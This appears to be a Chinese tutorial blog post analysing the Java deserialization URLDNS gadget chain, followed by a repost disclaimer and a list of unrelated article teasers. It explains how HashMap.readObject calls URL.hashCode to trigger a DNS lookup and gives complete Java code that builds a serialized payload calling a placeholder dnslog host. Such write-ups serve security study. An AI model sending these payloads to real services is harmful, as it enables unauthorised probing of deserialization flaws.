JAVA反序列化之URLDNS链分析

简单介绍下urldns链

在此之前最好有如下知识,请自行bing or google学习。
        什么是序列化 反序列化 ?特点!
        java对象反射调用?
        hashmap在java中是一种怎样的数据类型?
        dns解析记录有那些?

思考代码本身设计

废话不说,我们直接上代码 (代码调用链在下面分析)

    public static void main(String[] args) throws Exception {// Person person = new Person( name: "aa", age: 22);HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();hashmap.put(new URL("http://xxxx.dnslog.cn"),1);}

思考如上代码能不能发起一个dns请求! 为什么?

现在解答
        能,因为hashmap.put 中会触发了url类中的hashcode方法,这个方法会调用getHostAddress(u) 从而发起dns请求。

那么为什么是这样的设计呢?
        学过数据结构都知道,有一种数据结构叫做哈希表。简单来说就是依据数据的hash(这里也不一定非要是hash,一定的算法即可),来确定在表中的位置,若hash意外相同(因为表的长度是有限的,算法hash终会有撞的)(这里的hash也不要跟MD5什么的算法混淆),则在相应位置以链表的形式追加数据。这样的好处显而易见,就是可以提前预判自己的存储位置,从而加快代码运行速度。
        那么在java中,hashmap就是这样的一种数据结构。存入的数据都要调用hashcode计算hash值,以此来作为hash表位置的依据。由于java的特性,如果这个数据重写了hashcode方法,则调用的会是这个对象的hashcode方法
        那么为什么URL类要重写hashcode方法呢?请看代码

 public static void main(String[] args) {try {// 实例化第一个URL对象URL url1 = new URL("https://1vg1kk469fx17563.aliyunddos1017.com");// 实例化第二个URL对象URL url2 = new URL("https://51cto.com");// 输出两个URL对象的hashCode值System.out.println("URL1 hashCode: " + url1.hashCode());System.out.println("URL2 hashCode: " + url2.hashCode());} catch (MalformedURLException e) {e.printStackTrace();}

这两个url对象的hashcode值是否相等呢!答案是的,注:1vg1kk469fx17563.aliyunddos1017.com是51cto.com的别名

为什么会如此。原因在于 虽然说是两个域名长得是不一样,但是你们最终解析的地址是一样的啊,那么你们可以算为同一个对象吗?显然java设计者考虑到了这个问题,他规定hashcode的值不是由url字符串算的,而是根据最终解析地址来算的。所以啊,hashcode被重写,在hashcode中调用了getHostAddress方法,解析dns地址得到host地址来计算hash。

代码方法调用链分析

put方法追进去

 put方法调用了hash把url对象传了进去

 调用对象的hashcode方法

 判断类中的hashcode的值(其初始值=-1) 表示该类url第一次调用hashcode,之后就把这个值存储起来,以备下次调用hashcode直接返回该值。这样设计的目的也是为了避免多次发起dns解析减少运算。若为-1 则调用handler.hashcode

 跟入gethostaddress方法

反序列化链的应用

如上hashmap.put会调用hashcode函数,那么hashcode能不能为反序列化所调用呢?

答案是肯定的,hashmap重写了readobject,这样反序列化会切入到自己的逻辑中。且在readobject中调用了key的hashcode方法

那么为什么hashmap为什么要重写readobject的呢?
        序列化是对象之间的传输,要保证在一个jvm的对象传到另一个jvm,其对象的是一致的。就拿hashmap来说,hash表的存储位置顺序,传到另一个jvm要保证是一致的。不能出现存储的map数据位置不一致的情况,否者这就不是同一个对象了。而重写了readobject 则hashmap在反序列化的时候就更方便调整计算Key和Value的值了.....

URLDNS链分析

前面我们分析,我们第一次建立url对象时其内部的hashcode为默认值-1
在hash.put之后,hashcode就更新了,这样的话在反序列化的时候hashcode不为-1,就无法发起dns请求。但这可是序列化传输对象啊!想要一个怎么样的url对象不可能!
好在hashcode没有不可序列化的标识符,这就意味着这个成员属性是我们可控的。
只需在hash.put改过之后 用反射的方法再将url对象的hashcode的值在改为-1,不就行了。

上代码

package urldns;import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class hashmap {public static void main(String[] args) throws Exception {// Person person = new Person( name: "aa", age: 22);HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();URL url = new URL("http://xxxx.xxxx.xx");hashmap.put(url,1);// 获取URL类的hashCode字段Field hashCodeField = URL.class.getDeclaredField("hashCode");hashCodeField.setAccessible(true);// 修改URL对象的hashCode值hashCodeField.set(url, -1);serialize(hashmap);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException, IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

分析调试如下

readobect打上断点

 因为hashmap重写了readobject所以会走到这个方法中

readobject中有调用的key的hashcode方法 

 此刻就来到了url的hashcode方法了,我们传入对象hashcode值就是-1让它进入handler.hashcode方法

之后的调试就和之前的一样的了

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/313691.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2.1 DFMEA步骤一:策划和准备

2.1.1 目的 设计FMEA的“策划和准备”步骤旨在确定将要执行的FMEA类型&#xff0c;以及根据进行中的分析类型&#xff08;如系统、子系统或组件&#xff09;明确每个FMEA的范围。设计FMEA&#xff08;DFMEA&#xff09;的主要目标包括&#xff1a; 项目识别项目计划&#xff…

Unity中Shader裁剪空间推导(透视相机到裁剪空间的转化矩阵)

文章目录 前言一、简单看一下 观察空间—>裁剪空间—>屏幕空间 的转化1、观察空间&#xff08;右手坐标系、透视相机&#xff09;2、裁剪空间&#xff08;左手坐标系、且转化为了齐次坐标&#xff09;3、屏幕空间&#xff08;把裁剪坐标归一化设置&#xff09;4、从观察空…

【PXIE301-208】基于PXIE总线架构的Serial RapidIO总线通讯协议仿真卡

板卡概述 PXIE301-208是一款基于3U PXIE总线架构的Serial RapidIO总线通讯协议仿真卡。该板卡采用Xilinx的高性能Kintex系列FPGA作为主处理器&#xff0c;实现各个接口之间的数据互联、处理以及实时信号处理。板卡支持4路SFP光纤接口&#xff0c;支持一个PCIe x8主机接口&…

考pmp有用么?

PMP考出来究竟有什么用&#xff0c;这个问题一直是站在边缘的朋友经常思考的问题&#xff0c;其实我想说的是&#xff0c;当能力和经验都充足的时候&#xff0c;可能这单单的一张证书就能有莫大的作用&#xff0c;帮助你实现目前所追求的东西。 当我利用这张证书达到我的目的之…

如何解决企业内部FTP文件传输速度过慢和安全问题

在数据化时代里&#xff0c;企业内部的文件传输永远是刚需&#xff0c;而因为 FTP协议的简单、易用、广泛支持等优点&#xff0c;让很多企业早期都普遍使用&#xff0c;随着数量量的增多&#xff0c;和对安全的要求越来越高&#xff0c;FTP也暴露出了一些列问题&#xff0c;小编…

【起草】【第十二章】定制ChatGPT数字亲人

身为普普通通的我们&#xff0c;不知道亲人们在哪一天就要离开这个世界 &#xff1f; 作为普普通通的程序员&#xff0c;我们可以为我们的亲人做点什么 &#xff1f; 让他们以数字资产形式留在人世间 ? 对话&#xff5c;6岁女孩病逝捐器官&#xff0c;妈妈&#xff1a;她去…

互联网大厂面试题目

阿里篇 1.1.1 如何实现一个高效的单向链表逆序输出&#xff1f; 1.1.2 已知sqrt(2)约等于1.414&#xff0c;要求不用数学库&#xff0c;求sqrt(2)精确到小数点后10位 1.1.3 给定一个二叉搜索树(BST)&#xff0c;找到树中第 K 小的节点 1.1.4 LRU缓存机制 1.1.5 关于epoll和…

什么是缓存、为什么要用缓存、缓存分类、缓存测试、缓存更新、缓存设计考虑点、缓存测试点

一、缓存 缓存是一种将数据存储在高速缓存中的技术&#xff0c;它可以提高应用程序的性能和响应速度。 二、 为什么要用缓存 1. 高性能(主要目的) 查询耗时&#xff0c;但变化少&#xff0c;又有很多读请求情况下&#xff0c;可以将查询结果放到缓存中。减少对数据库的压力&…

论数据资源持有权(上)

关注WX公众号&#xff1a; commindtech77&#xff0c; 获得数据资产相关白皮书下载地址 1. 回复关键字&#xff1a;数据资源入表白皮书 下载 《2023数据资源入表白皮书》 2. 回复关键字&#xff1a;光大银行 下载 光大银行-《商业银行数据资产会计核算研究报告》 3. 回复关键字…

Avalonia学习(十六)-Mapsui

今天开始继续Avalonia练习。 本节&#xff1a;Mapsui 1.引入 Mapsui.Avalonia 2.项目引入 前台代码 <Window xmlns"https://github.com/avaloniaui"xmlns:x"http://schemas.microsoft.com/winfx/2006/xaml"xmlns:vm"using:MapsuiAvalonia.Vi…

Python列表推导式(for表达式)及用法

for 表达式&#xff08;列表推导式&#xff09;用于利用其他区间、元组、列表等可迭代对象创建新的列表。 for 表达式的语法格式如下&#xff1a; [表达式 for 循环计数器 in 可迭代对象] 从上面的语法格式可以看出&#xff0c;for 表达式与普通 for 循环的区别有以下两点&a…

23种设计模式Python版

目录 创建型模式简单工厂模式工厂方法模式抽象工厂模式单例模式原型模式建造者模式 结构型模式适配器模式桥接模式组合模式装饰器模式外观模式享元模式代理模式 行为型模式职责链模式命令模式解释器模式迭代器模式中介者模式备忘录模式观察者模式状态模式策略模式模板方法模式访…